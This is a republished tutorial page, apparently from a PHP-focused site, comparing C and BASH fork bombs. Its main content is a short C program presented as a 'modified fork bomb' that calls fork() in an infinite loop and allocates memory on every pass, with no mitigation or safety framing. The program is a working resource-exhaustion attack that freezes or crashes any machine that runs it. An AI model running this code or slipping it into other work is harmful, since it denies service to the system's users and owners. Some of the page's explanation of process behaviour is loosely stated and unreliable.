Home > Backend Development > C++ > In C/C++, C vs BASH Fork bomb means the fork bomb of C language and BASH language.

In C/C++, C vs BASH Fork bomb means the fork bomb of C language and BASH language.

WBOY
Release: 2023-09-14 19:41:02
forward
1423 people have browsed it

在C/C++中,C vs BASH Fork bomb的意思是C语言与BASH语言的分叉炸弹

It has been established that the BASH fork bomb is much more powerful than its C program counterpart. The main reason is that the process created in BASH is detached from the parent process. If the parent process (the one we initially started) is destroyed or terminated, the remaining processes will continue to exist. But in the case of the C implementation, the listed child processes are automatically terminated if the parent process is destroyed or terminated. The script is responsible for communicating directly with the system.

The fork bomb program in C language can be updated or modified. We can allocate memory in the program when creating the fork process.

The following program is considered an implementation of a modified C fork bomb -

// Modified fork bomb
#include <unistd.h>
#include <malloc.h>
int main(){
   // Infinite loop
   while (1){
      // Generating child fork processes
      fork();
      // Allocating memory in RAM
      int *p1 = (int *) malloc (sizeof (int) * 100000);
   }
}
Copy after login

The above is the detailed content of In C/C++, C vs BASH Fork bomb means the fork bomb of C language and BASH language.. For more information, please follow other related articles on the PHP Chinese website!

source:tutorialspoint.com
Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
Popular Tutorials
More>
Latest Downloads
More>
Web Effects
Website Source Code
Website Materials
Front End Template